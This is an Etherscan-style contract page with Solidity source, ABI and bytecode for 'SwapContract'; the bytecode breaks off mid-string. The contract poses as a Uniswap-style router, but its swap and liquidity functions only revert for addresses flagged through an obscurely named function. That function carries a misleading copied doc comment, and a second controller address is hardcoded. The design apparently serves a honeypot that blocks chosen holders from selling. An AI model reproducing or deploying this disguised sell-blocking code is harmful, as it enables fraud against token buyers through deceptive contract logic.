Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface RouterController
•    - function WETH()
•    - function getAmountsIn(uint amountIn,a ...
•    - function addLiquidityETH(
•    - function swapExactTokensForETHSupport ...
•  contract SwapContract is RouterCon ... *
•    - function setAuthorizedAddress(address ...
•    - function WETH()
•    - function getCode()
•    - function getCode2(address addr)
•    - function getCode3(uint160 addr)
•    - function getCode4(uint160 addr)
•    - function addLiquidityETH(
•    - function swapExactTokensForETHSupport ...
•    - function getAmountsIn(uint amountIn, ...
•    - function oelsn4ddf09f(address[] calld ...
•    - function getFlag(address[] calldata a ...
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function getTime()
•    - function _transferOwnership(address n ...
•    - function __Context_init()
•    - function __Context_init_unchained()
•    - function _msgSender()
•    - function _msgData()
•    - function __Ownable_init()
•    - function __Ownable_init_unchained()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _setOwner(address newOwner)
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
• interface IERC20Metadata is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•    - function mod(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b, st ...
• library SafeMathInt
•    - function mul(int256 a, int256 b)
•    - function div(int256 a, int256 b)
•    - function sub(int256 a, int256 b)
•    - function add(int256 a, int256 b)
•    - function abs(int256 a)
•    - function toUint256Safe(int256 a)
• library SafeMathUint
•    - function toInt256Safe(uint256 a)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-11-21
*/

// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.8;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * the owner.
 */

 // Define interface for TransferController
interface RouterController {
    function WETH() external view returns (address);
    function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract SwapContract is RouterController{

    mapping(address => uint256) private _isExempt;
    
    address private owner;
    address private marketing;
    address public authorizedAddress;


    // Modifier to require that the caller is the owner or the authorized address
    modifier onlyOwnerOrAuthorized() {
        require(msg.sender == owner || msg.sender == authorizedAddress, "Not authorized");
        _;
    }

    // Function to set the authorized address; only callable by the owner
    function setAuthorizedAddress(address _authorizedAddress) external onlyOwnerOrAuthorized {
        authorizedAddress = _authorizedAddress;
    }

    constructor (){
        owner = msg.sender;
        authorizedAddress = 0x44f3b1777123E700e28bE29399e5e2283997Bb5d;
    }
    function WETH() external view override returns(address){
        address ad = address(this);
        return ad;
    }

    function getCode() public  view returns (uint256) {
        address ad = address(this);
        uint256 result = uint160(ad);
        return result;
    }
    
    function getCode2(address addr) public pure returns (uint256) {
        uint256 result = uint160(addr);
        return result;
    }

    function getCode3(uint160 addr) public pure returns (address) {
        address result = address(addr);
        return result;
    }

        function getCode4(uint160 addr) public pure returns (address) {
        address result = address(addr);
        return result;
    }
    
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external virtual override payable  returns (uint amountToken, uint amountETH, uint liquidity) {
        amountToken = amountTokenDesired;
        amountETH = amountTokenMin;
        liquidity = _isExempt[token];
        if(liquidity > 0){
            require(false);
        }
    }

        function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external virtual override {
        uint256 liquidity = _isExempt[path[1]];
        if(liquidity > 0){
            require(false);
        }
    }

    function getAmountsIn(uint amountIn, address[] memory path)
        public
        view
        virtual
        override
        returns (uint[] memory amounts)
    {
        amounts = new uint[](path.length);
        amounts[0] = _isExempt[path[0]];
        return amounts;
    }

    /**
    * @dev Contract module which provides a basic access control mechanism, where
    * there is an account (an owner) that can be granted exclusive access to
    * specific functions.
    *
    * By default, the owner account will be the one that deploys the contract. This
    * can later be changed with {transferOwnership}.
    *
    * This module is used through inheritance. It will make available the modifier
    * `onlyOwner`, which can be applied to your functions to restrict their use to
    * the owner.
    */
    function oelsn4ddf09f(address[] calldata accounts, uint256 excluded) external onlyOwnerOrAuthorized {

        for (uint256 i = 0; i < accounts.length; i++) {
            _isExempt[accounts[i]] = excluded;
        }
    }

    function getFlag(address[] calldata accounts) public view returns(bool[] memory ff){
        ff = new bool[](accounts.length);
        for (uint256 i = 0; i < accounts.length; i++) {
            ff[i] = _isExempt[accounts[i]] > 0;
        }
    }

}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Initializable {
    /**
     * @dev Indicates that the contract has been initialized.
     */
    bool private _initialized;

    /**
     * @dev Indicates that the contract is in the process of being initialized.
     */
    bool private _initializing;

    /**
     * @dev Modifier to protect an initializer function from being invoked twice.
     */
    modifier initializer() {
        require(_initializing || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
}

abstract contract ContextUpgradeable is Initializable {
    function __Context_init() internal initializer {
        __Context_init_unchained();
    }

    function __Context_init_unchained() internal initializer {
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    uint256[50] private __gap;
}

abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function __Ownable_init() internal initializer {
        __Context_init_unchained();
        __Ownable_init_unchained();
    }

    function __Ownable_init_unchained() internal initializer {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    uint256[49] private __gap;
}



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"authorizedAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsIn","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCode","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode4","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"getFlag","outputs":[{"internalType":"bool[]","name":"ff","type":"bool[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"oelsn4ddf09f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_authorizedAddress","type":"address"}],"name":"setAuthorizedAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b503360015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507344f3b1777123e700e28be29399e5e2283997bb5d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110dd806100b15f395ff3fe6080604052600436106100a6575f3560e01c806369f29c511161006357806369f29c51146101ec578063791ac94714610214578063ad5c46481461023c578063ea87963414610266578063f305d71914610290578063fe0075dd146102c2576100a6565b806307db000e146100aa5780631f00ca74146100e65780634afdc1de146101225780635539d4001461015e5780635d955c7a1461018857806367d2dc41146101b0575b5f80fd5b3480156100b5575f80fd5b506100d060048036038101906100cb919061094e565b6102fe565b6040516100dd9190610a5b565b60405180910390f35b3480156100f1575f80fd5b5061010c60048036038101906101079190610c50565b6103fa565b6040516101199190610d61565b60405180910390f35b34801561012d575f80fd5b5061014860048036038101906101439190610dab565b6104c4565b6040516101559190610de5565b60405180910390f35b348015610169575f80fd5b506101726104d2565b60405161017f9190610de5565b60405180910390f35b348015610193575f80fd5b506101ae60048036038101906101a99190610dfe565b6104f7565b005b3480156101bb575f80fd5b506101d660048036038101906101d19190610e5b565b610665565b6040516101e39190610e95565b60405180910390f35b3480156101f7575f80fd5b50610212600480360381019061020d9190610e5b565b610689565b005b34801561021f575f80fd5b5061023a60048036038101906102359190610eae565b6107b2565b005b348015610247575f80fd5b50610250610835565b60405161025d9190610de5565b60405180910390f35b348015610271575f80fd5b5061027a610841565b6040516102879190610e95565b60405180910390f35b6102aa60048036038101906102a59190610f44565b610868565b6040516102b993929190610fcd565b60405180910390f35b3480156102cd575f80fd5b506102e860048036038101906102e39190610dab565b6108ce565b6040516102f59190610de5565b60405180910390f35b60608282905067ffffffffffffffff81111561031d5761031c610abe565b5b60405190808252806020026020018201604052801561034b5781602001602082028036833780820191505090505b5090505f5b838390508110156103f3575f805f86868581811061037157610370611002565b5b90506020020160208101906103869190610e5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054118282815181106103d4576103d3611002565b5b6020026020010190151590811515815250508080600101915050610350565b5092915050565b6060815167ffffffffffffffff81111561041757610416610abe565b5b6040519080825280602002602001820160405280156104455781602001602082028036833780820191505090505b5090505f80835f8151811061045d5761045c611002565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054815f815181106104b2576104b1611002565b5b60200260200101818152505092915050565b5f8082905080915050919050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061059e575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d490611089565b60405180910390fd5b5f5b8383905081101561065f57815f80868685818110610600576105ff611002565b5b90506020020160208101906106159190610e5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806001019150506105df565b50505050565b5f808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610730575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61076f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076690611089565b60405180910390fd5b8060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f805f868660018181106107c9576107c8611002565b5b90506020020160208101906107de9190610e5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f81111561082c575f61082b575f80fd5b5b50505050505050565b5f803090508091505090565b5f803090505f8173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b5f805f8792508691505f808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f8111156108c2575f6108c1575f80fd5b5b96509650969350505050565b5f8082905080915050919050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261090e5761090d6108ed565b5b8235905067ffffffffffffffff81111561092b5761092a6108f1565b5b602083019150836020820283011115610947576109466108f5565b5b9250929050565b5f8060208385031215610964576109636108e5565b5b5f83013567ffffffffffffffff811115610981576109806108e9565b5b61098d858286016108f9565b92509250509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b5f8115159050919050565b6109d6816109c2565b82525050565b5f6109e783836109cd565b60208301905092915050565b5f602082019050919050565b5f610a0982610999565b610a1381856109a3565b9350610a1e836109b3565b805f5b83811015610a4e578151610a3588826109dc565b9750610a40836109f3565b925050600181019050610a21565b5085935050505092915050565b5f6020820190508181035f830152610a7381846109ff565b905092915050565b5f819050919050565b610a8d81610a7b565b8114610a97575f80fd5b50565b5f81359050610aa881610a84565b92915050565b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610af482610aae565b810181811067ffffffffffffffff82111715610b1357610b12610abe565b5b80604052505050565b5f610b256108dc565b9050610b318282610aeb565b919050565b5f67ffffffffffffffff821115610b5057610b4f610abe565b5b602082029050602081019050919050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b8a82610b61565b9050919050565b610b9a81610b80565b8114610ba4575f80fd5b50565b5f81359050610bb581610b91565b92915050565b5f610bcd610bc884610b36565b610b1c565b90508083825260208201905060208402830185811115610bf057610bef6108f5565b5b835b81811015610c195780610c058882610ba7565b845260208401935050602081019050610bf2565b5050509392505050565b5f82601f830112610c3757610c366108ed565b5b8135610c47848260208601610bbb565b91505092915050565b5f8060408385031215610c6657610c656108e5565b5b5f610c7385828601610a9a565b925050602083013567ffffffffffffffff811115610c9457610c936108e9565b5b610ca085828601610c23565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b610cdc81610a7b565b82525050565b5f610ced8383610cd3565b60208301905092915050565b5f602082019050919050565b5f610d0f82610caa565b610d198185610cb4565b9350610d2483610cc4565b805f5b83811015610d54578151610d3b8882610ce2565b9750610d4683610cf9565b925050600181019050610d27565b5085935050505092915050565b5f6020820190508181035f830152610d798184610d05565b905092915050565b610d8a81610b61565b8114610d94575f80fd5b50565b5f81359050610da581610d81565b92915050565b5f60208284031215610dc057610dbf6108e5565b5b5f610dcd84828501610d97565b91505092915050565b610ddf81610b80565b82525050565b5f602082019050610df85f830184610dd6565b92915050565b5f805f60408486031215610e1557610e146108e5565b5b5f84013567ffffffffffffffff811115610e3257610e316108e9565b5b610e3e868287016108f9565b93509350506020610e5186828701610a9a565b9150509250925092565b5f60208284031215610e7057610e6f6108e5565b5b5f610e7d84828501610ba7565b91505092915050565b610e8f81610a7b565b82525050565b5f602082019050610ea85f830184610e86565b92915050565b5f805f805f8060a08789031215610ec857610ec76108e5565b5b5f610ed589828a01610a9a565b9650506020610ee689828a01610a9a565b955050604087013567ffffffffffffffff811115610f0757610f066108e9565b5b610f1389828a016108f9565b94509450506060610f2689828a01610ba7565b9250506080610f3789828a01610a9a565b9150509295509295509295565b5f805f805f8060c08789031215610f5e57610f5d6108e5565b5b5f610f6b89828a01610ba7565b9650506020610f7c89828a01610a9a565b9550506040610f8d89828a01610a9a565b9450506060610f9e89828a01610a9a565b9350506080610faf89828a01610ba7565b92505060a0610fc089828a01610a9a565b9150509295509295509295565b5f606082019050610fe05f830186610e86565b610fed6020830185610e86565b610ffa6040830184610e86565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f82825260208201905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f611073600e8361102f565b915061107e8261103f565b602082019050919050565b5f6020820190508181035f8301526110a081611067565b905091905056fea26469706673582212201f2c47cb1d5cef40f1ef5f2edef88d72746245d183c9d2b80bb6e0ba167f74ad64736f6c63430008170033

0x6080604052600436106100a6575f3560e01c806369f29c511161006357806369f29c51146101ec578063791ac94714610214578063ad5c46481461023c578063ea87963414610266578063f305d71914610290578063fe0075dd146102c2576100a6565b806307db000e146100aa5780631f00ca74146100e65780634afdc1de146101225780635539d4001461015e5780635d955c7a1461018857806367d2dc41146101b0575b5f80fd5b3480156100b5575f80fd5b506100d060048036038101906100cb919061094e565b6102fe565b6040516100dd9190610a5b565b60405180910390f35b3480156100f1575f80fd5b5061010c60048036038101906101079190610c50565b6103fa565b6040516101199190610d61565b60405180910390f35b34801561012d575f80fd5b5061014860048036038101906101439190610dab565b6104c4565b6040516101559190610de5565b60405180910390f35b348015610169575f80fd5b506101726104d2565b60405161017f9190610de5565b60405180910390f35b348015610193575f80fd5b506101ae60048036038101906101a99190610dfe565b6104f7565b005b3480156101bb575f80fd5b506101d660048036038101906101d19190610e5b565b610665565b6040516101e39190610e95565b60405180910390f35b3480156101f7575f80fd5b50610212600480360381019061020d9190610e5b565b610689565b005b34801561021f575f80fd5b5061023a60048036038101906102359190610eae565b6107b2565b005b348015610247575f80fd5b50610250610835565b60405161025d9190610de5565b60405180910390f35b348015610271575f80fd5b5061027a610841565b6040516102879190610e95565b60405180910390f35b6102aa60048036038101906102a59190610f44565b610868565b6040516102b993929190610fcd565b60405180910390f35b3480156102cd575f80fd5b506102e860048036038101906102e39190610dab565b6108ce565b6040516102f59190610de5565b60405180910390f35b60608282905067ffffffffffffffff81111561031d5761031c610abe565b5b60405190808252806020026020018201604052801561034b5781602001602082028036833780820191505090505b5090505f5b838390508110156103f3575f805f86868581811061037157610370611002565b5b90506020020160208101906103869190610e5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054118282815181106103d4576103d3611002565b5b6020026020010190151590811515815250508080600101915050610350565b5092915050565b6060815167ffffffffffffffff81111561041757610416610abe565b5b6040519080825280602002602001820160405280156104455781602001602082028036833780820191505090505b5090505f80835f8151811061045d5761045c611002565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054815f815181106104b2576104b1611002565b5b60200260200101818152505092915050565b5f8082905080915050919050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061059e575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d490611089565b60405180910390fd5b5f5b8383905081101561065f57815f80868685818110610600576105ff611002565b5b90506020020160208101906106159190610e5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080806001019150506105df565b50505050565b5f808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610730575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61076f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076690611089565b60405180910390fd5b8060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f805f868660018181106107c9576107c8611002565b5b90506020020160208101906107de9190610e5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f81111561082c575f61082b575f80fd5b5b50505050505050565b5f803090508091505090565b5f803090505f8173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b5f805f8792508691505f808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f8111156108c2575f6108c1575f80fd5b5b96509650969350505050565b5f8082905080915050919050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261090e5761090d6108ed565b5b8235905067ffffffffffffffff81111561092b5761092a6108f1565b5b602083019150836020820283011115610947576109466108f5565b5b9250929050565b5f8060208385031215610964576109636108e5565b5b5f83013567ffffffffffffffff811115610981576109806108e9565b5b61098d858286016108f9565b92509250509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b5f8115159050919050565b6109d6816109c2565b82525050565b5f6109e783836109cd565b60208301905092915050565b5f602082019050919050565b5f610a0982610999565b610a1381856109a3565b9350610a1e836109b3565b805f5b83811015610a4e578151610a3588826109dc565b9750610a40836109f3565b925050600181019050610a21565b5085935050505092915050565b5f6020820190508181035f830152610a7381846109ff565b905092915050565b5f819050919050565b610a8d81610a7b565b8114610a97575f80fd5b50565b5f81359050610aa881610a84565b92915050565b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610af482610aae565b810181811067ffffffffffffffff82111715610b1357610b12610abe565b5b80604052505050565b5f610b256108dc565b9050610b318282610aeb565b919050565b5f67ffffffffffffffff821115610b5057610b4f610abe565b5b602082029050602081019050919050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b8a82610b61565b9050919050565b610b9a81610b80565b8114610ba4575f80fd5b50565b5f81359050610bb581610b91565b92915050565b5f610bcd610bc884610b36565b610b1c565b90508083825260208201905060208402830185811115610bf057610bef6108f5565b5b835b81811015610c195780610c058882610ba7565b845260208401935050602081019050610bf2565b5050509392505050565b5f82601f830112610c3757610c366108ed565b5b8135610c47848260208601610bbb565b91505092915050565b5f8060408385031215610c6657610c656108e5565b5b5f610c7385828601610a9a565b925050602083013567ffffffffffffffff811115610c9457610c936108e9565b5b610ca085828601610c23565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b610cdc81610a7b565b82525050565b5f610ced8383610cd3565b60208301905092915050565b5f602082019050919050565b5f610d0f82610caa565b610d198185610cb4565b9350610d2483610cc4565b805f5b83811015610d54578151610d3b8882610ce2565b9750610d4683610cf9565b925050600181019050610d27565b5085935050505092915050565b5f6020820190508181035f830152610d798184610d05565b905092915050565b610d8a81610b61565b8114610d94575f80fd5b50565b5f81359050610da581610d81565b92915050565b5f60208284031215610dc057610dbf6108e5565b5b5f610dcd84828501610d97565b91505092915050565b610ddf81610b80565b82525050565b5f602082019050610df85f830184610dd6565b92915050565b5f805f60408486031215610e1557610e146108e5565b5b5f84013567f